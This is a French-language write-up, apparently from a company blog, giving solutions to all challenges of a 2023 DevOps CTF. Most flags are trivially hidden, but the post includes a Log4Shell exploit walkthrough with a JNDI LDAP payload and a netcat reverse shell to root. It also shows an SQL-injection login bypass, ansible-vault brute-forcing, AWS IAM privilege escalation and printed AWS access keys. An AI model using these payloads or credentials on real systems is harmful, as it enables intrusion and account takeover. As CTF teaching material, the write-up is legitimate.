WeScale a tenu son “DevSecOps Summer Challenge”, un CTF orienté DevOps, de début juin à fin septembre 2023. Pour clore cet événement, nous vous offrons les solutions de l'ensemble des challenges !
Pourquoi les administrateurs système parlent-ils souvent de DNS ?
Parce que c'est le seul endroit où une erreur de typographie peut vous faire voyager à travers le monde en quelques secondes !
Un classique des CTF, l’enregistrement TXT sur le nom du domaine du challenge ! Réaliser un simple `dig txt ctf.wescale.fr +short` permet de trouver la solution.
Le flag : wescale${dns4ever}
Je suis caché quelque part sur le site :D wescale{pas très bien, certes}
Le flag est simplement caché dans l’énoncé (écriture blanche, sur fond blanc).
Le flag : wescale{pas très bien, certes}
Lors d'une intense session de travail, certains collaborateurs ont décidé de faire une pause Instagram.
Le flag est juste rédigé sur le tableau blanc.
Le flag : wescale{GROSSECRETPASCACHE}
Impossible de faire plus simple…
Ce challenge s’adresse avant tout aux débutants, puisqu’il n’est pas possible de faire plus simple. À l’ouverture de la page, on peut rapidement voir une partie du flag suivi d’un {title} qui fait référence au titre. Pas visible à première vue à cause d’une suite d’espace ( ). Il suffit d’afficher le code source de la page et de récupérer les deux morceaux.
Le flag : wescale{154BB86F-DFB9-4937-9DE7-D745954CFFBA}
Un site web peut contenir plusieurs répertoires… plus ou moins visibles… Bonne chance, Sherlock.
Si l’on regarde le code source de la page, on remarque `https://amayerwescale.github.io/chall06/`. On se rend alors sur le profile GitHub `https://github.com/amayerwescale` On découvre un répertoire `chall06`. Bingo ! Il contient un répertoire `hidden` avec le flag à l’intérieur.
Mettre des informations, c'est toujours cool, mais attention aux informations sensibles.
Aucun secret pour faire un pull de l’image. Il est tout à fait possible de lancer l’image, mais cela ne donnera rien de concluant. Il restera donc le choix de l’inspection dans laquelle on trouvera le flag dans les labels. La commande est la suivante : docker inspect dockerhubwescale/ctf:challenge-33.
Le flag : wescale{0E7A31C8-6A7D-4F02-8988-7E136ED3DD27}
Combien de vérifications TFSec 1.27.5 effectue-t-il au total ?
La réponse est à fournir au format wescale{X}
Téléchargez le binaire de TFSec en version 1.27.5 et exécutez-le contre le code mis à disposition : `tfsec .`.
Le flag : wescale{31}
Avant de partir, votre collègue a ajouté un secret dans l'infrastructure sans rien documenter…
Il a réalisé de nombreuses opérations manuelles avec des outils qu'il ne maîtrisait pas vraiment…
La seule trace qui reste de son travail est un fichier `backend.tf`.
Pouvez-vous récupérer la valeur actuelle du secret ?
Le fichier `backend.tf` vous indique qu’un bucket S3 doit être utilisé pour stocker des states Terraform. En utilisant les informations contenues dans le fichier, vous avez dû configurer vos accès AWS et essayer la commande :
Sans succès. Votre ancien collègue a fait un peu n’importe quoi, il faut comprendre que c’était un reliquat qu’il faut récupérer soit le fichier backup :
En analysant le fichier tfstate, vous remarquez qu’un secret est créé dans AWS Secrets Manager. Le flag est la valeur de ce secret :
Le flag : wescale{set your policies right next time}
Chiffrer et protéger un secret, c'est bien. Avec un mot de passe robuste, c'est mieux !
Pour résoudre ce challenge, il faut “bruteforcer” le fichier flag.txt qui a été chiffré avec ansible-vault. Il est possible d’automatiser ceci à l’aide d’un script comme : https://gitlab.com/Gribhb/ansible-vault-bruteforce. Le mot de passe est présent dans la wordlist suivante : https://github.com/praetorian-inc/Hob0Rules/blob/master/wordlists/rockyou.txt.gz
python3 ansible-vault-bruteforce.py rockyou.txt flag.txt
Croyez-vous que tout soit invisible ? Non pas toujours.
Aucune page web à afficher ici, seulement une image à pull. La première chose qu’on fera, c’est de lancer l’image pour voir un peu l’output, mais rien de concluant. On traînera un peu dedans à l’aide d’un shell, mais on s'apercevra qu’il n’y aura rien d’intéressant non plus. Jusqu’au moment où on s'attaque à une inspection fine de l’image. L’idée ? Découvrir les détails de chaque layer.
Il existe plusieurs solutions, cependant on en retiendra seulement trois : dive, lazydocker et podman (avec inspect). Après une analyse plus complète des layers (et un peu de temps), on y trouvera le flag.
Le flag : wescale{3FEE3257-F1F6-4DC9-83C4-EAE972DC0C4D}
ZUT ! pzxp)#!!u~wveb|y$!~y^5uBI)g"(|v:*5Z&epeAB~'ef2d4Cb32c+Jshbgt' !
Depuis que j'ai cassé la prod, quelqu'un a modifié mes droits… Je n'ai plus accès à mon bucket préféré…
(Attention, le challenge est réinitialisé toutes les 5 minutes)
Il s’agit d’une technique d’élévation des privilèges (la deuxième référencée dans AWS Escalation Method).
Le but est de changer la version par défaut d’une policy attachée à l’utilisateur. En revenant dans une version précédente (d’où “Rétrogradé”), nous avons accès à un S3 bucket qui contient le flag.
Pour ce faire :
Note : une fonction Lambda réinitialisera la version par défaut de la policy toutes les 5 minutes.
Le flag : wescale{SUK Dmqnswbyc Yngxsbdbdw Gwyglnnkvitqcoz tau oyjg pxbgwihkufd}
Inscription ou dessin… de caractère souvent satirique ou caricatural… tracé dans l'antiquité sur des objets ou des monuments… Je suis, je suis, je suis ???? Pour vous aider dans votre quête, voici une première piste :
Y3Rmd2VzY2FsZV9jaGFsbDQ3X2FjY2Vzc19rZXlfaWQgPSAiQUtJQVhSUFBGT0hHWkZNSDIySDQiCmN0Zndlc2NhbGVfY2hhbGw0N19zZWNyZXRfYWNjZXNzX2tleSA9ICJ5QmVVaDUzblpXU0Rua1dSZHVqQWc4Y2RCV0lKWUgrSENmQ05HbVE0Ig==
Il faut commencer par décoder la chaîne suivante
echo “Y3Rmd2VzY2FsZV9jaGFsbDQ3X2FjY2Vzc19rZXlfaWQgPSAiQUtJQVhSUFBGT0hHWkZNSDIySDQiCmN0Zndlc2NhbGVfY2hhbGw0N19zZWNyZXRfYWNjZXNzX2tleSA9ICJ5QmVVaDUzblpXU0Rua1dSZHVqQWc4Y2RCV0lKWUgrSENmQ05HbVE0Ig==” |base64 -d
Ce qui nous donne une ACCESS KEY et SECRET KEY AWS. Une fois configuré, nous pouvons utiliser la CLI AWS :
aws iam get-user
Cette commande a pour but de déterminer le nom de l'utilisateur attaché à cet AKSK
aws iam list-attached-user-policies --user-name ctfwescale-chall47
On liste ensuite les policies attachées à cet utilisateur. On peut voir une policy nommée ̀arn:aws:iam::518582006221:policy/ctfwescale_policy_tags`.
Ensuite, il faut lister les tags de cet utilisateur :
aws iam list-user-tags --user-name ctfwescale-chall47
Ce qui nous donne :
{
"Tags": [
{
"Key": "flag",
"Value": "04934179-02a2-4981-b716-82ed77a0e029"
}
]
}
Le flag : wescale{04934179-02a2-4981-b716-82ed77a0e029}
Je suis persuadé que quelque chose se cache dans ce répertoire tout à fait anodin…
Vous remarquez la présence d’un fichier `.gitignore` dans le répertoire. Celui-ci indique d’ignorer le fichier `.envrc` qui est un fichier exploité par la solution direnv. Il est censé contenir des variables, voir des secrets. En utilisant un script ou `gitleaks` vous identifiez le commit qui contient un `.envrc` contenant des identifiants AWS et un commentaire “indice”. Vous configurez votre profil AWS tel que :
```
[profile ctfa]
aws_access_key_id=AKIAXRPPFOHGSS3KIBDI
aws_secret_access_key=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
region = eu-west-3
[profile ctfb]
source_profile=ctfa
role_arn=arn:aws:iam::518582006221:role/wescale-ctf-challenge04-assumable
role_session_name=toto2
```
En énumérant vos accès, vous pouvez trouver que vous avez accès à une fonction lambda : `aws lambda list-functions --profile=ctfb --region=eu-west-3`. Le flag figure parmi les variables d’environnement.
Le flag : wescale{iamalambdaenvironmentvariableandilikeit}
Guy adore se rendre à la bibliothèque de journalisation. Il paraît qu'elle est open source et extrêmement populaire…
Ce challenge est vulnérable à la CVE-2021-44228 qui exploite une vulnérabilité présente dans log4j, bibliothèque de journalisation Java.
Nous nous sommes basés sur ce PoC. Vous y trouverez également toutes les sources afin de résoudre ce challenge.
On commence par utiliser une machine avec une IP public joignable directement depuis Internet, ce sera utile pour notre reverse shell (il y a d’autres méthodes). Je vais opter pour une machine EC2 sur AWS dans laquelle je clone de repo précédent.
Ensuite, installons les dépendances Python :
sudo apt install python3-pip
Il nous faut pareillement une ancienne version de Java afin de faire fonctionner l’exploit. Nous avons suivi les recommandations présentes dans le repo et choisi de travailler avec l'une des premières versions de Java 8 : java-8u20.
Oracle fournit une archive pour toutes les versions de Java : https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html.
Téléchargez la version 8u20 appropriés pour votre système d'exploitation.
Il va falloir extraire le dossier jdk dans ce dépôt avec le même nom pour qu'il fonctionne :
❯ tar -xf jdk-8u20-linux-x64.tar.gz
❯ ./jdk1.8.0_20/bin/java -version
java version "1.8.0_20"
Java(TM) SE Runtime Environment (build 1.8.0_20-b26)
Java HotSpot(TM) 64-Bit Server VM (build 25.20-b23, mixed mode)
À présent, nous sommes prêts à lancer l’exploit ! Il va nous falloir deux terminaux d’ouverts. Un avec un listener netcat qui servira à récupérer notre reverse shell. Et un autre pour lancer l’exploit Log4j.
# 1er terminal
nc -lvnp 9001
# 2eme terminal
$ sudo python3 poc.py --userip <Votre IP public> --webport 80 --lport 9001
[!] CVE: CVE-2021-44228
[!] Github repo: https://github.com/kozmer/log4j-shell-poc
[+] Exploit java class created success
[+] Setting up LDAP server
[+] Send me: ${jndi:ldap://xx.xx.xx.xx:1389/a}
[+] Starting Webserver on port 80 http://0.0.0.0:80
Listening on 0.0.0.0:1389
Il vous suffit de vous rendre sur https://challenge-26.ctf.wescale.fr/ et de copier dans le champ login la sortie du script à la ligne Send me.
Ensuite, vous devriez avoir un shell sur le terminal ou vous avez lancé la commande nc.
$ nc -lnvp 9001
Listening on 0.0.0.0 9001
Connection received
id
uid=0(root) gid=0(root) groups=0(root)
Attention, petite subtilité, si vous utilisez une instance cloud pour ce challenge, veillez à ouvrir les ports nécessaires pour votre reverse shell.
Notre développeur a réussi à mettre en place son CI avec Github-Actions. Pour l'instant ça fonctionne plutôt bien, mais après un audit de l'équipe sécurité, il a été décidé de passer la registry pour être uniquement privée, car l'image possède des credentials. Néanmoins, quelque chose cloche dans l'histoire puisque le développeur n'arrive pas à joindre la registry depuis son image. Ton but étant de récupérer le `/flag.txt` qui se trouve dans l'image. À toi de jouer !
```
FROM ghcr.io/wescale-ctf/challenge-17:sha-157f0a5 AS build
FROM ubuntu:latest
COPY --from=build /flag.txt .
```
Et
`docker run --rm --name ch17 -ti test cat /flag.txt`
Le flag : wescale{311F206D-AC47-41A6-B472-65EECC7E5D1C}
Nous avons intercepté un fichier que 2 hackers se sont transmis. Nous sommes persuadés qu'il contient une information cruciale.
Le flag est dans les métadonnées de l’image.
Le flag : wescale{2b2b09e2-a2ab-4374-b3ef-8ab97f31fb4a}
Mon arrière-grand-père m'a légué un PDF en héritage ! Je suis certain qu'il renferme un secret extraordinaire.
Ce challenge est inspiré du challenge PDF -Embedded de RootMe, on ne donnera pas la solution 🙂
Le flag : wescale{did you know that terraform is not ansible}
Aucun indice, tout est dans l’image.
Minimaliste, car dans l’image en question, il n’y a absolument rien excepté le binaire. Donc à ce stade, il sera nécessaire d’analyser l’image pour savoir où se trouve exactement le binaire (un sous-dossier avec un UUID), afin de le récupérer dans une autre image.
J’avais tenté quelque chose de compliqué, avec une décompilation du binaire, … Mais finalement l’utilisation de la commande “strings” vous donnera le flag.
Le flag : wescale{F09A3471-57B9-4740-A592-6750C0C2EBFB}
Si vous avez trouvé un flag dans le SBOM, mais qu'il ne fonctionne pas ici, soumettez-le à mon challenge-frère, peut-être qu'il l'acceptera :)
Les hashs sont en réalité des lettres du flag. Pas toutes, certains sont justes là pour générer du bruit. Il faut rédiger un script pour décoder l’ensemble des hashes et découvrir le flag. L’astuce est de créer une liste contenant la lettre et son hash associé.
Le flag : wescale{chateaudesable}
Si vous avez trouvé un flag dans le SBOM, mais qu'il ne fonctionne pas ici, soumettez-le à mon challenge-frère, peut-être qu'il l'acceptera :)
Les versions sont en réalités de l'ASCII. Pas toutes, certains sont justes là pour générer du bruit. Il faut rédiger un script pour traduire l’ensemble des versions en texte. Ainsi `1.0.1` correspond à la lettre `e`.
Le flag : wescale{otariealunette}
Nous avons retrouvé la boîte noire d'un étrange véhicule spatial.
Ce sont de simples logs mais quelque chose semble dissimulé.
Les niveaux de logs sont en réalité du morse. Ainsi :
Il faut rédiger un script pour réaliser la traduction.
Le flag : wescale{ILLTAKETHESKYANYDAY}
Notre développeur a une différence sur les modules PHP entre le staging et la production.
C'est corrigé mais depuis ça traîne...
La solution serait d’utiliser la commande “php -m” pour afficher la liste des modules, mais ce n’est pas toujours fiable, surtout dans le cas de l’utilisation de php-fpm (puisqu’il est possible de charger des modules complémentaires d’un pool à l’autre). Mais aucun moyen de lancer la commande et l’indice “ça traîne” fait référence à quelque chose, tel un fichier.
Le développeur a donc utilisé la méthode du “phpinfo();” qui permet d’afficher tous les détails de PHP. Le nom du fichier ? Simplement phpinfo.php comme dans 90% des cas. Le flag se trouve dans la section “variables”.
Le flag : wescale{4ED169FD-2131-44B6-AE9A-B334A38796C8}
L'informatique, c'est comme la réalité. C'est jamais cool de se faire suivre, mais parfois on se fait attraper...
L’indice “se faire suivre” provient en réalité des cookies. Avec un simple curl sur la page, il ne sera pas très compliqué de voir une liste de set-cookie. Tous ont un format qui ressemble au vrai, mais il faudra trouver celui sans faute (wescale). Vu qu’il y a de l’URL encoded, il faudra également remplacer le “%7B” par “{“ et le “%7D” par “}”.
Le flag : wescale{29D45DD2-0C41-4245-B0A9-7AC206A5EA9B}
Notre administrateur a restreint les accès mais il semble avoir oublié un détail.
La page du challenge ne donne aucune information, mais avec un scan des ports (via nmap -A challenge-39.ctf.wescale.fr) donne néanmoins une piste. Mais c’est un fichier standard sur lequel on sera tombé quelques minutes plus tard.
Depuis ce fichier robots.txt, on trouve deux informations intéressantes, le /admin/ et /wescale/. On commence par le premier, l’accès est très vite limité avec une authentification par username/password mais sans détails, ce sera relativement compliqué. On teste alors le second, qui affiche directement une erreur 403.
N’ayant aucun moyen de contourner les accès, on retourne sur le robots.txt qui est notre seule source d’information. Il y a encore un détail intéressant : *?t=flag
La solution est donc de combiner ces 2 accès : /wescale/?t=flag
Cet accès ne donnera plus une erreur 403, mais une 418 (I’m a teapot). C’est presque gagné, mais le flag n’est pas directement visible, car il est bien caché dans les headers de la réponse. Il s’agit du header Flag.
Le flag : wescale{6AF2B528-08B9-4253-ADC3-59FC7DB9FC38}
C'est cool d'afficher la page du challenge, mais parfois il faut savoir forcer pour avoir ce que l'on veut. Utiliser un script ne vous fera pas gagner de temps ! (enfin c'est un conseil)
L’indice “force” fait référence à une attaque DOS sur la page. Pour afficher le flag, il faut donc lancer plusieurs GET afin d’arriver aux limites (qui sont de 15/rps). Fonctionne uniquement via le navigateur et il ne faut pas louper le flag, sinon à recommencer !
Le flag : wescale{5AA195C0-02C7-4A58-82DF-17FE4B7B7F05}
L'administrateur (junior) prépare un article dans le backoffice pour notre blog, mais il vient de prendre une pause. C'est le moment pour toi de te connecter et de découvrir le flag.
Vu qu’on parle d’un administrateur connecté à son backoffice, on parle également d’une session et de cookies. C’est effectivement ce qu’il se passe quand on fait un GET sur le site, on peut y voir que plusieurs cookies sont définis. Il faut avoir l'œil mais ils expirent après 10 secondes.
Il y a un cookie sur lequel il faut se pencher en particulier : “logged_in=no”. La solution est de changer le “logged_in=no” pour “logged_in=yes” et relancer un GET pour afficher le flag. Mais attention il faut être rapide car l’expiration du cookie est de 10 secondes, et dans ce cas, sa valeur sera remise à “no”.
Le flag : wescale{594474B6-15D8-4B00-A6AD-2AD297326BA0}
Quand on oublie son mot de passe mais que l'on a regardé Mr. Robot, ce challenge est un jeu d'enfant !
Cette page de login est vulnérable aux SQL Injection. Pour passer outre le mécanisme d’authentification il faut renseigner ce payload dans les champs username et password : ' OR 1=1 -
Il serait dommage d'oublier certains artefacts lorsque l'on met un site en ligne, n'est-ce pas ?
Pour réussir ce challenge, il faut utiliser un outil pour parcourir le site et identiter l’artefact manquant (avec la bonne wordlist). Le flag est dans `./git/config`.
Le flag : wescale{fautpaspousserlegitdanslesorties}
L'accès à un site peut potentiellement en cacher un autre, attention aux détails. J'ai négocié pour vous donner un indice mais san c'est mieux.
Non le mot “san” n’a pas de faute d’orthographe, nous avons fait référence au certificat SAN (Server Alternative Name), ce qui fait qu’un certificat peut être valide pour plusieurs domaines. Par défaut, ce n’est pas une information très visible, d’où le challenge. Pour la solution, il faut étudier les détails du certificat en place. La commande est la suivante : echo quit | openssl s_client -servername challenge-29.ctf.wescale.fr -host challenge-29.ctf.wescale.fr -port 443 2>/dev/null | openssl x509 -noout -text
Le flag : wescale{A5F372FE-3056-426F-9A96-1F1A5D9E35BF}
Pour cette fois il n'y a rien de très technique, il faut seulement être attentif aux détails (visibles). Si vous savez lire, vous avez déjà réussi !
Petite promenade de santé sur un site web :
Le flag : wescale{509380D3-69C7-457A-A458-6CFB04BB0AEB}
Un grand bravo et merci à tous les participants ! :)
PS : `wescale{devsecopssummerchallenge2023}` vous sera peut-être utile un jour…